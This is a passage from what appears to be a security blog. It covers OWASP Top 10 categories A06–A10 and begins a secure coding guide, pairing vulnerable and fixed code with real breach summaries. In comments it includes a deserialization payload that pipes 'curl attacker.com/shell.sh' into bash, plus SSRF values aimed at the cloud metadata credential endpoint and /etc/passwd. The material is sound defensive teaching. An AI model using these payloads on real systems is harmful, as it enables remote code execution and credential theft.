publicly available. Equifax paid $700 million in settlement. The entirely avoidable root cause: a known, patched vulnerability left unpatched for over two months on an internet-facing system. ### Dependency Auditing ```bash # Node.js — built-in audit npm audit npm audit --audit-level=high # fail CI on high+ severity npm audit fix # auto-fix where possible npm audit fix --force # includes breaking changes (review carefully) # Snyk — deeper analysis with license and code scanning npx snyk test npx snyk monitor # continuous monitoring # Python pip-audit pip-audit --requirement requirements.txt # Go govulncheck ./... # Java / Maven mvn dependency-check:check # Docker image scanning trivy image myapp:latest grype myapp:latest ``` ### Renovate / Dependabot for Automatic PRs ```yaml # .github/dependabot.yml — automated dependency updates version: 2 updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 10 groups: development-dependencies: dependency-type: "development" - package-ecosystem: "docker" directory: "/" schedule: interval: "weekly" ``` ### SBOM Generation ```bash # Generate a Software Bill of Materials # CycloneDX format (widely supported) cyclonedx-npm --output-file sbom.json # SPDX format syft myapp:latest -o spdx-json > sbom.spdx.json # Check SBOM against vulnerability databases grype sbom:sbom.spdx.json ``` `npm audit` and similar tools only catch vulnerabilities in your direct and transitive dependencies if there's a CVE published against them. Supply chain attacks (malicious packages with no CVE) require different controls: verify package integrity with lockfiles, enable 2FA on npm/PyPI accounts, and monitor for typosquatting against your frequently-used packages. --- ## A07: Identification and Authentication Failures This category covers the full failure space of proving identity: accepting weak passwords, not rate-limiting login attempts, using insecure session tokens, failing to invalidate sessions after password change, and not supporting MFA. ### Real Incident: Dropbox (2012): Credential Stuffing at Scale Dropbox's 2012 breach wasn't discovered until 2016 when 68 million password hashes appeared on the dark web. The entry point: a Dropbox employee's password had been included in the LinkedIn breach. The attacker used that credential to log into the employee's Dropbox account. That account had access to a document containing Dropbox customer email addresses, which were then targeted in a spear-phishing campaign. Bcrypt hashes in the dump are still largely uncracked. SHA-1 hashes in the same dump: majority cracked within days of publication. ### Rate Limiting and Account Lockout ```typescript import rateLimit from 'express-rate-limit'; import slowDown from 'express-slow-down'; // Rate limit: 5 attempts per 15 minutes per IP const loginRateLimit = rateLimit({ windowMs: 15 * 60 * 1000, max: 5, skipSuccessfulRequests: true, // only count failures handler: (req, res) => { res.status(429).json({ error: 'Too many login attempts. Try again in 15 minutes.', }); }, }); // Speed limiter: progressive slowdown before hard block const loginSlowDown = slowDown({ windowMs: 15 * 60 * 1000, delayAfter: 2, // no delay for first 2 requests delayMs: 500, // add 500ms per attempt after that maxDelayMs: 10000, // max 10 second delay }); app.post('/auth/login', loginSlowDown, loginRateLimit, async (req, res) => { const { email, password } = loginSchema.parse(req.body); // Constant-time response to prevent user enumeration const user = await db.users.findOne({ email }); const valid = user ? await bcrypt.compare(password, user.passwordHash) : false; // Always run bcrypt.compare even for non-existent users // to prevent timing-based user enumeration if (!valid) { await logFailedAttempt(email, req.ip); return res.status(401).json({ error: 'Invalid email or password' }); } await logSuccessfulLogin(user.id, req.ip); const token = generateSessionToken(); await createSession(user.id, token, req.ip); res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'Strict', maxAge: 60 * 60 * 1000, // 1 hour }); return res.json({ success: true }); }); ``` ### TOTP-Based MFA Implementation ```typescript import * as OTPAuth from 'otpauth'; import QRCode from 'qrcode'; // Generate TOTP secret for user enrollment async function enrollMFA(userId: string) { const secret = new OTPAuth.Secret({ size: 20 }); const totp = new OTPAuth.TOTP({ issuer: 'YourApp', label: userEmail, algorithm: 'SHA1', digits: 6, period: 30, secret, }); const otpauthUrl = totp.toString(); const qrCodeDataUrl = await QRCode.toDataURL(otpauthUrl); // Store encrypted secret — never plaintext await db.users.update(userId, { totpSecret: encrypt(secret.base32), totpEnabled: false, // enable only after successful verification }); return { qrCode: qrCodeDataUrl, secret: secret.base32 }; } // Verify TOTP token during login async function verifyMFA(userId: string, token: string): Promise { const user = await db.users.findOne({ id: userId }); const secret = decrypt(user.totpSecret); const totp = new OTPAuth.TOTP({ secret: OTPAuth.Secret.fromBase32(secret) }); // window: 1 allows for ±30 seconds of clock drift const delta = totp.validate({ token, window: 1 }); return delta !== null; } ``` --- ## A08: Software and Data Integrity Failures New in the 2021 edition, this category covers CI/CD pipeline attacks, insecure deserialization, and the use of unsigned or unverified software components. The SolarWinds supply chain attack made this category concrete in a way that no previous list item had. ### Real Incident: SolarWinds Orion (2020) In December 2020, FireEye discovered that SolarWinds Orion: IT monitoring software used by 33,000 organizations including 425 of the Fortune 500, all major US government agencies, and most major telcos, had been backdoored. The attackers (later attributed to Russia's SVR, tracked as APT29/Cozy Bear) compromised SolarWinds' build pipeline and injected malicious code into the Orion software update, which was then cryptographically signed by SolarWinds and distributed to customers. The backdoor was active for at least 8 months before discovery. Affected organizations: US Treasury, Commerce Department, State Department, DHS, NSC, and approximately 18,000 others who installed the trojanized update. Remediation costs across all affected organizations: estimated $100 billion. ### Insecure Deserialization ```javascript // VULNERABLE — node-serialize IIFE exploit const serialize = require('node-serialize'); app.post('/profile', (req, res) => { // User-supplied cookie value deserialized directly const userObj = serialize.unserialize(req.cookies.profile); // If profile = {"user":"_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker.com/shell.sh|bash')}()"} // The IIFE executes during deserialization — RCE res.json(userObj); }); // SAFE — use JSON.parse with schema validation instead of unsafe deserializers const profileSchema = z.object({ userId: z.string().uuid(), preferences: z.object({ theme: z.enum(['light', 'dark']) }).optional(), }); app.post('/profile', (req, res) => { const raw = JSON.parse(req.cookies.profile); // JSON.parse doesn't execute code const profile = profileSchema.parse(raw); // validate structure and types res.json(profile); }); ``` ### Subresource Integrity ```html ``` ```bash # Generate SRI hash curl -s https://cdn.example.com/lib.js | openssl dgst -sha384 -binary | openssl base64 -A # Output: sha384- — use this as the integrity value ``` --- ## A09: Security Logging and Monitoring Failures The OWASP Top 10 notes that the average time to detect a breach is over 200 days. That's not because breaches are subtle: most involve recognizable patterns like repeated authentication failures, unusual database queries, or data exfiltration. It's because logging is either absent, too noisy to act on, or not reviewed. ### What to Log ```typescript // Authentication events logger.info('auth.login.success', { userId: user.id, ip: req.ip, userAgent: req.headers['user-agent'], timestamp: new Date().toISOString(), // Never log: password, session token, PII beyond userId }); logger.warn('auth.login.failure', { email: sanitizeForLog(email), // hash or truncate if PII ip: req.ip, userAgent: req.headers['user-agent'], reason: 'invalid_credentials', // not 'user_not_found' — prevents user enumeration in logs timestamp: new Date().toISOString(), }); // Access control violations logger.error('authz.violation', { userId: req.user?.id, attemptedResource: req.path, attemptedMethod: req.method, ip: req.ip, timestamp: new Date().toISOString(), }); // Input validation failures — these can indicate active attack logger.warn('validation.failure', { field: 'username', ip: req.ip, reason: 'invalid_format', timestamp: new Date().toISOString(), // Don't log the actual malicious input — could be used for log injection }); ``` ### Detection Rules in Structured Logs ```python # Splunk SPL — detect brute force index=app_logs source="auth.login.failure" | stats count by ip, _time span=15m | where count > 10 | alert action=email # Splunk SPL — detect credential stuffing (many users, one IP) index=app_logs source="auth.login.failure" | stats dc(email) as unique_accounts, count by ip | where unique_accounts > 20 AND count > 50 | table ip, unique_accounts, count # Splunk SPL — detect impossible travel index=app_logs source="auth.login.success" | stats earliest(_time) as first_login, latest(_time) as last_login, values(geo_country) as countries, dc(geo_country) as country_count by userId | where country_count > 1 AND (last_login - first_login) < 3600 ``` Never log raw passwords, session tokens, credit card numbers, or full Social Security numbers. Logs are often stored with weaker access controls than your production database, and log aggregation pipelines frequently traverse multiple systems. A single logged password can compromise an account permanently if the user reuses credentials. --- ## A10: Server-Side Request Forgery (SSRF) SSRF moved onto the 2021 list for the first time, driven by the widespread adoption of cloud architectures where the metadata service at `169.254.169.254` (AWS, Azure, GCP) is reachable from any EC2/VM instance. SSRF exploits the server's ability to make outbound requests: an attacker tricks the server into fetching URLs the attacker specifies, reaching internal services, cloud metadata endpoints, or other back-end infrastructure not exposed to the public internet. ### Real Incident: Capital One (2019): Revisited as SSRF The same 2019 Capital One breach described under A05 was triggered via SSRF. The vulnerability: a misconfigured WAF allowed HTTP requests with a `Host` header pointing to `169.254.169.254`. The WAF forwarded these requests to the EC2 metadata service and relayed the response. The attacker retrieved temporary IAM credentials with: ``` GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` The response contained the IAM role name. A second request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returned: ```json { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-07-19T18:38:44Z" } ``` With those credentials, the attacker listed and downloaded 100 million S3 records. ### SSRF in Webhook Endpoints ```typescript // VULNERABLE — no validation of user-supplied URL app.post('/api/webhooks', authenticate, async (req, res) => { const { url, events } = req.body; await db.webhooks.create({ userId: req.user.id, url, events }); // When an event fires, the server fetches this URL // Attacker sets url = "http://169.254.169.254/latest/meta-data/" // or url = "http://internal-admin.company.internal/admin/users" // or url = "file:///etc/passwd" (if fetch supports file: scheme) }); ``` ```typescript import { URL } from 'url'; import dns from 'dns/promises'; // SAFE — SSRF prevention with allowlist and internal IP blocking async function isSafeWebhookUrl(input: string): Promise { let parsed: URL; try { parsed = new URL(input); } catch { return false; } // Only allow HTTPS if (parsed.protocol !== 'https:') return false; // Block non-standard ports const port = parseInt(parsed.port || '443'); if (![443, 8443].includes(port)) return false; // Resolve hostname and check resolved IPs let addresses: string[]; try { addresses = (await dns.resolve4(parsed.hostname)) .concat(await dns.resolve6(parsed.hostname).catch(() => [])); } catch { return false; } const privateRanges = [ /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./, /^169\.254\./, // link-local / AWS metadata /^::1$/, // IPv6 loopback /^fc00:/, // IPv6 unique local /^fe80:/, // IPv6 link-local ]; for (const addr of addresses) { if (privateRanges.some(r => r.test(addr))) return false; } return true; } app.post('/api/webhooks', authenticate, async (req, res) => { const { url, events } = req.body; if (!await isSafeWebhookUrl(url)) { return res.status(400).json({ error: 'URL not permitted' }); } await db.webhooks.create({ userId: req.user.id, url, events }); return res.json({ success: true }); }); ``` DNS rebinding attacks can bypass hostname-based SSRF filters: resolve the hostname before making the request, and re-verify that the resolved IP hasn't changed between validation and the actual fetch. Even better: use an egress proxy or a dedicated outbound HTTP client that enforces connection-level blocking of RFC 1918 addresses, so the protection operates at the network layer rather than the application layer. --- ## Applying the OWASP Top 10 in Practice ### For Developers Run through this checklist for every feature that touches user data or external input: | Check | Prevents | |---|---| | Every DB query uses parameterized statements | A03: Injection | | Resource queries include `userId = session.userId` | A01: Broken Access Control | | Passwords hashed with bcrypt/argon2 (cost ≥ 12) | A02: Cryptographic Failures | | User-supplied values never reach `eval()`, `innerHTML`, or template strings | A03: Injection, A03: SSTI | | Password reset tokens are 256-bit random, single-use, expire in ≤ 15 min | A04: Insecure Design | | DEBUG/verbose errors disabled in production | A05: Security Misconfiguration | | `npm audit` / `pip-audit` runs in CI | A06: Vulnerable Components | | Login endpoints are rate-limited | A07: Auth Failures | | Dependencies verified with lockfiles and checksums | A08: Integrity Failures | | Auth events, ACL violations, and validation failures are logged | A09: Logging Failures | | User-supplied URLs are validated and blocked for internal IPs | A10: SSRF | ### For Pentesters Map findings to OWASP categories in every report. It's the vocabulary clients and development teams understand, it provides remediation context, and it anchors severity ratings. Priority order for manual testing time: 1. A01 (Broken Access Control), test every resource endpoint for IDOR and privilege escalation 2. A03 (Injection), test every user input that touches a database or system command 3. A10 (SSRF), test any feature that fetches URLs or makes outbound HTTP requests 4. A02 (Cryptographic Failures), inspect password storage, TLS configuration, token entropy 5. A07 (Auth Failures), test rate limiting, MFA enforcement, session invalidation The OWASP Testing Guide (OTG) provides detailed test cases for every category. The PortSwigger Web Security Academy provides free labs mapped to each finding. Work through both before telling a client their application is secure, and for the deeper principles behind these categories, the foundational security reading in [the security canon](/the-security-canon) is the next step. ## How the OWASP Top 10 Changed Over Time The list is not static, and the movement between editions tells a story about where defenses succeed and fail. Injection held the top position for roughly a decade, through the 2010, 2013, and 2017 editions. Its slide to third place in 2021 does not mean injection disappeared. Parameterized queries and mature framework defaults made the classic cases rarer, so the category's prevalence across tested applications fell relative to others. Broken Access Control rose to the top in 2021 for the opposite reason. Access control is application-specific logic that frameworks cannot supply for you, so every team reimplements it, and every team makes mistakes. The 2021 edition also introduced three new categories that reflected how software is built now: Insecure Design, Software and Data Integrity Failures, and Server-Side Request Forgery. Each entered because the industry moved toward cloud architectures, heavy dependency trees, and continuous delivery pipelines, and the attack surface followed. Reading the deltas between editions is a fast way to see which defenses are becoming standard and which failure modes are newly important. ## How the Categories Relate The ten categories are not isolated. Real breaches usually chain several of them, and understanding the connections helps you prioritize. The table below shows how the categories commonly interact. | Category | Frequently chains with | Why they connect | |---|---|---| | Broken Access Control | Injection, SSRF | An access gap plus an injectable parameter multiplies impact | | Cryptographic Failures | Auth Failures | Weak password hashing turns any database leak into account takeover | | Injection | Security Misconfiguration | Verbose errors reveal the query structure an injection needs | | Insecure Design | Auth Failures | A flawed reset flow cannot be fixed by better code alone | | Security Misconfiguration | SSRF | An exposed metadata endpoint plus a fetch feature yields credentials | | Vulnerable Components | Integrity Failures | An unverified dependency is both outdated and untrusted | | Logging Failures | Every other category | Without logs, every other failure goes undetected for months | The lesson from the chains is that severity is rarely about a single flaw. A medium access-control gap becomes critical when it exposes a parameter that reaches an internal service, and a database leak becomes catastrophic when the passwords inside were hashed with a fast algorithm. When you rate a finding, weigh what it unlocks in combination with other flaws, and consider its full chained impact rather than its effect in isolation. ## Detection Signals: Finding These Flaws in Your Own Application You can surface most of these categories without a full pentest by watching for concrete signals in your own code and traffic. For broken access control, look for any resource query that filters on an identifier taken from the request without also filtering on the authenticated user. For injection, search the codebase for string concatenation that builds a query, command, or template from request data. For cryptographic failures, grep for hashing calls that use MD5, SHA-1, or a single pass of SHA-256 on a password. Runtime signals matter too. A spike in 403 responses across sequential resource identifiers suggests someone enumerating an access-control gap. A surge of requests carrying SQL metacharacters, template syntax, or path traversal sequences points at active probing. Outbound requests from your application servers to internal address ranges or to the cloud metadata address are a strong SSRF signal and should be alerted on directly. The common thread is that each category leaves a recognizable trace in either the source or the logs, which is why structured logging of authentication events, access-control denials, and validation failures is foundational to catching the rest. ## Common Misconceptions A few beliefs about the OWASP Top 10 lead teams astray. The first is that a passing automated scan means the application is secure. Scanners are strong at pattern-based flaws like reflected injection and weak at access control, business logic, and design flaws, which are exactly the categories that dominate the current list. The second is that the Top 10 is a complete security standard. It is an awareness document of the most common risks, and comprehensive coverage requires the full OWASP Application Security Verification Standard rather than the ten headline categories. A third misconception is that a web application firewall closes these categories. A WAF reduces opportunistic exploitation of injection and scripting, and it does nothing for broken access control, insecure design, or cryptographic storage choices, because those failures live in application logic the WAF never evaluates. The fourth is that the ordering implies effort allocation. The rank reflects prevalence and impact across many applications, and your own risk depends on your architecture, so a payments API may need to prioritize cryptographic and access-control work regardless of the published order. ## Frequently Asked Questions **Does the OWASP Top 10 apply to APIs as well as web pages?** The categories apply broadly, and OWASP also publishes a separate API Security Top 10 that reframes the same risks for machine-to-machine interfaces, where broken object level authorization (the API form of IDOR) is the leading issue. If you build APIs, read both lists, since the API document adds risks like excessive data exposure that the general list does not emphasize. **How is the list actually compiled?** Contributing organizations submit anonymized vulnerability data covering large numbers of applications, and OWASP combines that with an industry survey to capture emerging risks that data alone would lag on. Categories are ranked by a mix of prevalence, detectability, and impact, which is why a less frequent but severe class can still place highly. **Is Insecure Design just another name for a bug?** No. An implementation bug is a mistake in code that correct code would avoid. Insecure Design is a flaw in the plan itself, such as a recovery flow that relies on a short numeric code, where no amount of careful coding fixes the underlying weakness. Catching it requires threat modeling before implementation, not code review after. **Why did SSRF get its own category in 2021?** Cloud adoption made SSRF far more damaging. The metadata service reachable from inside most cloud instances returns credentials to any code that can make it issue a request, so a single server-side fetch of an attacker-chosen URL can yield working cloud credentials. That shift in impact earned the class a dedicated place on the list. **Should developers or security teams own remediation?** Both, at different points. Developers own the fixes, because the flaws live in code and design they control. Security teams own the verification, the threat modeling that surfaces design issues early, and the tooling in the pipeline that catches regressions. The categories are most effectively closed when both groups share the same vocabulary from this list. ## Related guides - [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained) - [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained) - [Secure Coding Practices Every Developer Should Know](/secure-coding-practices) - [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks) - [Zero-Day Vulnerabilities: What They Are and Why They Matter](/zero-day-vulnerabilities) ### Sources - OWASP Top Ten Project (OWASP): https://owasp.org/www-project-top-ten/ - OWASP Web Security Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/ - NIST SP 800-63B: Digital Identity Guidelines: Authentication (NIST): https://csrc.nist.gov/publications/detail/sp/800-63b/final --- ## Secure Coding Practices Every Developer Should Know > Most vulnerabilities come from code. The secure coding principles that prevent injection, auth flaws and data exposure, with examples in multiple languages. - URL: https://blog.pwnsy.com/secure-coding-practices - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: web-security - Tags: secure-coding, web-security, owasp, input-validation, authentication - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Validate all external input with strict type, range, and format checks. Client-side validation is a user-experience feature that provides no security guarantee on its own. - Use parameterized queries for every database call; string-concatenated SQL is never acceptable regardless of language or framework. - Hash passwords with bcrypt (rounds >= 12) or Argon2id; MD5, SHA-1, and SHA-256 are too fast and are not appropriate for passwords. - Check authorization server-side on every request, including resource-level ownership checks, not just UI-level hiding. ### Key Takeaways - Nearly every major data breach traces back to an ordinary coding mistake, not an exotic exploit requiring nation-state resources. - The Checks-Effects-Interactions pattern, parameterized queries, and context-aware output encoding together eliminate the majority of high-severity web vulnerabilities. - Secrets hardcoded in source code must be treated as compromised immediately; even a brief commit to a private repository is enough. - Authorization must be enforced at the API layer on every request. Hiding UI elements from unauthorized users provides no protection by itself. - Static analysis tools like Bandit, gosec, and Semgrep can catch injection, hardcoded credentials, and unsafe deserialization before code review. ### FAQ **Q: What is the most common cause of data breaches in web applications?** The root cause of almost every major breach is an ordinary developer decision: a missing parameterized query, a hardcoded credential, a skipped authorization check, or a verbose error message left on in production, rather than exotic zero-day exploits. **Q: How should passwords be stored securely in a web application?** Passwords must be hashed with a deliberately slow, memory-intensive algorithm: bcrypt with a work factor of at least 12, or Argon2id with at least 64 MB memory cost. Fast algorithms like MD5, SHA-1, and SHA-256 can be computed billions of times per second on modern hardware and are not appropriate for passwords. **Q: What is SQL injection and how do I prevent it?** SQL injection occurs when user input is concatenated directly into a SQL query, allowing an attacker to alter the query's logic. Prevention is universal: use parameterized queries or prepared statements in every language and framework. There is no legitimate reason to build SQL through string concatenation. **Q: What are secure cookie flags and why do they matter?** Secure cookies should have three flags: HttpOnly (prevents JavaScript access, blocking XSS-based session theft), Secure (only transmitted over HTTPS), and SameSite=Strict (never sent in cross-site requests, blocking CSRF attacks). Missing any one of these flags creates a distinct exploitable vulnerability. **Q: How do I prevent my API keys and secrets from being exposed in code?** Never hardcode secrets in source code. Use environment variables or a secrets manager like AWS Secrets Manager or HashiCorp Vault. Any secret committed to a repository, even briefly or to a private repo, must be rotated immediately. Use tools like TruffleHog or gitleaks to scan git history for previously committed secrets. The 2017 Equifax breach that exposed 147 million people's personal data? An unpatched Apache Struts vulnerability, discovered and fixed by the vendor 66 days before the breach. The 2020 SolarWinds hack that compromised 18,000 organizations including the US Treasury and Pentagon? Build pipeline security failure. The 2019 Capital One breach? A misconfigured AWS IAM role and SSRF in a WAF. In almost every major breach, the root cause traces back to a developer decision: a missing parameterized query, a hardcoded credential, a skipped authorization check, a verbose error message left on in production. Not exotic hardware exploits. Not sophisticated zero-days requiring nation-state resources. Ordinary coding mistakes. This guide covers the secure coding practices that eliminate the most common and damaging vulnerability classes. Every principle maps to a real CVE or breach. Every code example shows the vulnerable pattern next to the fix, in Python, Node.js, Go, and PHP where relevant. ## Principle 1: Never Trust Input From Outside Your Application Boundary Everything that enters your application from outside is untrusted: HTTP requests, URL parameters, request headers, JSON bodies, file uploads, environment variables from third-party systems, inter-service API calls, and data from databases (which may have been previously poisoned via SQL injection or stored XSS). Client-side validation is a UX feature, not a security control. An attacker bypasses it in 10 seconds with curl. ```python # VULNERABLE — raw user input directly to processing @app.route('/transfer', methods=['POST']) def transfer(): amount = request.json['amount'] recipient_id = request.json['recipient_id'] process_transfer(amount, recipient_id) # amount could be negative, recipient_id could be a UUID injection return jsonify({'success': True}) # SAFE — validate type, range, format before processing from pydantic import BaseModel, Field, validator from uuid import UUID from decimal import Decimal class TransferRequest(BaseModel): amount: Decimal = Field(gt=0, le=Decimal('10000.00')) # must be positive, max $10,000 recipient_id: UUID # must be a valid UUID format note: str = Field(max_length=200, default='') @validator('note') def note_must_not_contain_html(cls, v): import re if re.search(r'<[^>]+>', v): raise ValueError('HTML not permitted in transfer notes') return v @app.route('/transfer', methods=['POST']) def transfer(): try: data = TransferRequest(**request.json) except ValidationError as e: return jsonify({'error': 'Invalid input', 'details': e.errors()}), 400 process_transfer(data.amount, str(data.recipient_id)) return jsonify({'success': True}) ``` ```typescript // Node.js — Zod schema validation import { z } from 'zod'; const TransferSchema = z.object({ amount: z.number() .positive('Amount must be positive') .max(10000, 'Amount exceeds maximum transfer limit') .multipleOf(0.01, 'Amount must have at most 2 decimal places'), recipientId: z.string().uuid('Invalid recipient ID format'), note: z.string().max(200).optional() .refine(val => !val || !/<[^>]+>/.test(val), 'HTML not permitted in notes'), }); app.post('/transfer', authenticate, async (req, res) => { const result = TransferSchema.safeParse(req.body); if (!result.success) { return res.status(400).json({ error: 'Validation failed', issues: result.error.issues }); } const { amount, recipientId, note } = result.data; await processTransfer(req.user.id, amount, recipientId, note); return res.json({ success: true }); }); ``` ### File Upload Validation File uploads are a consistently abused injection vector: web shell uploads, polyglot files, path traversal in filenames, and content-type bypass. ```python import magic import os import uuid ALLOWED_MIME_TYPES = { 'image/jpeg': '.jpg', 'image/png': '.png', 'image/gif': '.gif', 'image/webp': '.webp', 'application/pdf': '.pdf', } MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return jsonify({'error': 'No file provided'}), 400 file = request.files['file'] file_data = file.read() # Check file size if len(file_data) > MAX_FILE_SIZE: return jsonify({'error': 'File too large'}), 400 # Detect MIME type from file content (not from Content-Type header) detected_mime = magic.from_buffer(file_data, mime=True) if detected_mime not in ALLOWED_MIME_TYPES: return jsonify({'error': f'File type not allowed: {detected_mime}'}), 400 # Generate safe filename — never use the user-supplied filename extension = ALLOWED_MIME_TYPES[detected_mime] safe_filename = f"{uuid.uuid4().hex}{extension}" # Store outside the web root — not in static/ or public/ storage_path = os.path.join('/var/app/uploads', safe_filename) with open(storage_path, 'wb') as f: f.write(file_data) return jsonify({'filename': safe_filename}) ``` Never trust the `Content-Type` header for file type validation, because it is trivially spoofed. Use a magic byte detector like `python-magic` or `file-type` (Node.js) that reads the actual file bytes. Also never store the user's original filename. Generate a random UUID-based name to prevent path traversal and directory traversal attacks. --- ## Principle 2: Separate Code From Data With Parameterized Queries SQL injection is responsible for more high-profile data breaches than any other single vulnerability class. The fix is universal and well-known. There is no legitimate reason to build SQL queries through string concatenation in any language, in any framework, in any year after approximately 1998. ```python # VULNERABLE — string formatting creates injectable SQL def get_orders_for_user(user_id: str): # Attacker sends user_id = "1 OR 1=1" query = f"SELECT * FROM orders WHERE user_id = {user_id}" return db.execute(query).fetchall() # SAFE — parameterized query with exact type matching def get_orders_for_user(user_id: int): return db.execute( "SELECT id, product, amount, status FROM orders WHERE user_id = %s", (user_id,) ).fetchall() ``` ```go // Go — vulnerable and safe package main import "database/sql" // VULNERABLE func getUserVulnerable(db *sql.DB, username string) (*User, error) { query := "SELECT id, email, role FROM users WHERE username = '" + username + "'" row := db.QueryRow(query) var u User return &u, row.Scan(&u.ID, &u.Email, &u.Role) } // SAFE — prepared statement func getUserSafe(db *sql.DB, username string) (*User, error) { row := db.QueryRow( "SELECT id, email, role FROM users WHERE username = $1", username, ) var u User if err := row.Scan(&u.ID, &u.Email, &u.Role); err != nil { return nil, err } return &u, nil } ``` ### The ORM Raw Query Trap ORMs are safe for standard CRUD operations, since they generate parameterized queries automatically. The trap is their raw query escape hatches, which developers use when they need complex queries and which are just as injectable as hand-written SQL if misused. ```typescript // Prisma — ORM safe operations const orders = await prisma.order.findMany({ where: { userId: session.userId }, orderBy: { createdAt: 'desc' }, }); // VULNERABLE: Prisma's unsafe raw query method const orders = await prisma.$queryRawUnsafe( `SELECT * FROM orders WHERE userId = '${session.userId}'` // injectable ); // SAFE: Prisma's tagged template raw query (parameterized automatically) const orders = await prisma.$queryRaw`SELECT * FROM orders WHERE userId = ${session.userId}`; ``` ```python # SQLAlchemy — safe vs. vulnerable raw queries from sqlalchemy import text # VULNERABLE db.session.execute(f"SELECT * FROM users WHERE username = '{username}'") # SAFE — named bind parameters db.session.execute( text("SELECT * FROM users WHERE username = :username"), {"username": username} ) ``` --- ## Principle 3: Context-Aware Output Encoding Cross-site scripting occurs when user-supplied data is inserted into an HTML page, a JavaScript string, a CSS value, or a URL without encoding appropriate to that context. The fix is context-specific: HTML encoding for HTML body/attributes, JavaScript encoding for JavaScript strings, URL encoding for URL parameters. ```python # Flask/Jinja2 — auto-escaping is on by default for .html templates # NEVER use Markup() or | safe on user-supplied content # VULNERABLE @app.route('/welcome') def welcome(): name = request.args.get('name', '') # Markup() tells Jinja2 "this is trusted HTML, don't escape it" return render_template('welcome.html', name=Markup(name)) # SAFE — pass raw string, let Jinja2 escape it @app.route('/welcome') def welcome(): name = request.args.get('name', '') return render_template('welcome.html', name=name) # Jinja2 escapes {{ name }} ``` ```javascript // Vanilla JavaScript — never use innerHTML with user data function displaySearchTerm(term) { // VULNERABLE: innerHTML parses HTML and executes scripts document.getElementById('search-term').innerHTML = 'You searched for: ' + term; // SAFE: textContent treats value as literal text document.getElementById('search-term').textContent = 'You searched for: ' + term; } // When HTML is genuinely needed — sanitize with DOMPurify function renderUserBio(html) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'a', 'ul', 'ol', 'li'], ALLOWED_ATTR: ['href'], FORBID_ATTR: ['onerror', 'onload', 'onclick'], }); document.getElementById('bio').innerHTML = clean; } ``` ### JavaScript Context Encoding HTML encoding (`<`) is not sufficient inside a JavaScript string context: ```html ``` ```javascript // Node.js — safe server-side rendering for JavaScript contexts app.get('/profile', (req, res) => { const userData = { name: user.name, email: user.email, }; // JSON.stringify handles all necessary escaping for JS context // Replace < > & to prevent injection const userDataJson = JSON.stringify(userData) .replace(//g, '\\u003e') .replace(/&/g, '\\u0026'); res.send(``); }); ``` --- ## Principle 4: Store Passwords Correctly, No Exceptions Fast hashing algorithms (MD5, SHA-1, SHA-256, SHA-512) are designed for speed. A modern GPU can compute billions of SHA-256 hashes per second. The RockYou 2009 breach released 32 million plaintext passwords that became the definitive cracking dictionary. LinkedIn's SHA-1 hashes from the 2012 breach were 90% cracked within days of publication. Password hashing must be deliberately slow and memory-intensive. ```python # VULNERABLE — fast hashes (MD5, SHA-1, SHA-256 variants) import hashlib # None of these are appropriate for passwords hash1 = hashlib.md5(password.encode()).hexdigest() # broken hash2 = hashlib.sha1(password.encode()).hexdigest() # broken hash3 = hashlib.sha256(password.encode()).hexdigest() # not slow enough hash4 = hashlib.sha256((password + salt).encode()).hexdigest() # still not slow enough # SAFE — bcrypt (minimum work factor 12) import bcrypt def hash_password(password: str) -> str: # bcrypt.gensalt() generates a random 128-bit salt automatically # rounds=12 means 2^12 = 4096 iterations (takes ~0.3 seconds on modern hardware) # rounds=14 means 2^14 = 16384 iterations (~1.2 seconds) — use for high-value accounts salt = bcrypt.gensalt(rounds=12) return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8') def verify_password(password: str, stored_hash: str) -> bool: return bcrypt.checkpw(password.encode('utf-8'), stored_hash.encode('utf-8')) ``` ```python # BEST — Argon2id (NIST SP 800-63B recommended, winner of Password Hashing Competition) from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError # Configure with appropriate cost parameters # memory_cost: 64MB RAM — makes GPU attacks expensive # time_cost: 3 iterations # parallelism: 4 threads ph = PasswordHasher( time_cost=3, memory_cost=65536, # 64 MB parallelism=4, hash_len=32, salt_len=16 ) def hash_password(password: str) -> str: return ph.hash(password) def verify_password(password: str, stored_hash: str) -> bool: try: ph.verify(stored_hash, password) if ph.check_needs_rehash(stored_hash): return True # caller should rehash and store new hash return True except VerifyMismatchError: return False ``` ```typescript // Node.js — bcrypt import bcrypt from 'bcrypt'; const SALT_ROUNDS = 12; export async function hashPassword(password: string): Promise { return bcrypt.hash(password, SALT_ROUNDS); } export async function verifyPassword(password: string, hash: string): Promise { return bcrypt.compare(password, hash); } ``` ### Timing Attack Prevention in Login ```typescript // VULNERABLE: returns immediately if user not found — timing difference reveals valid emails async function login(email: string, password: string) { const user = await db.users.findOne({ email }); if (!user) return { success: false }; // Fast — reveals user doesn't exist const valid = await bcrypt.compare(password, user.passwordHash); return { success: valid }; } // SAFE: always run bcrypt.compare, even for non-existent users const DUMMY_HASH = await bcrypt.hash('dummy-constant-value-for-timing-safety', 12); async function login(email: string, password: string) { const user = await db.users.findOne({ email }); const hashToVerify = user ? user.passwordHash : DUMMY_HASH; // Always takes the same time whether user exists or not const valid = await bcrypt.compare(password, hashToVerify); if (!user || !valid) { return { success: false }; // Same response for wrong email OR wrong password } return { success: true, userId: user.id 